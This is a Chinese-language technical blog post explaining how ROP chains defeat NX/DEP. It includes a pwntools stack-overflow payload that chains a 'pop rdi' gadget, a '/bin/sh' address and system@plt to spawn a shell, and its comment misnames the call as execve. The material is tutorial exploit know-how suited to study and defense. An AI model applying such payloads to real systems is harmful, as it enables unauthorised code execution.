欢迎访问 内存溢出 —— 独立后端与系统工程技术博客

专注于分布式系统、Linux内核、数据库存储与后端工程实践

二进制逆向与利用:ROP 链与栈溢出绕过 NX/DEP 保护

发表于:|最后更新:|分类:二进制安全|阅读:1057 次

在启用了 NX/DEP(数据执行保护) 的现代化操作系统中,栈和堆内存被标记为不可执行。攻击者通过 ROP(Return-Oriented Programming) 技术,复用现有二进制代码段中的 Gadget(以 ret 结尾的机器指令序列)构造执行链。

一、x86-64 ROP Chain 典型构造

python
from pwn import *

# 目标:调用 execve("/bin/sh", 0, 0)
# Gadget: pop rdi; ret (0x4011d3)
pop_rdi = p64(0x4011d3)
bin_sh_addr = p64(0x404050)
system_plt = p64(0x401060)

payload = b"A" * 72         # 栈溢出覆盖至返回地址
payload += pop_rdi          # 控制 rdi 寄存器
payload += bin_sh_addr      # 第一个参数
payload += system_plt       # 触发 system()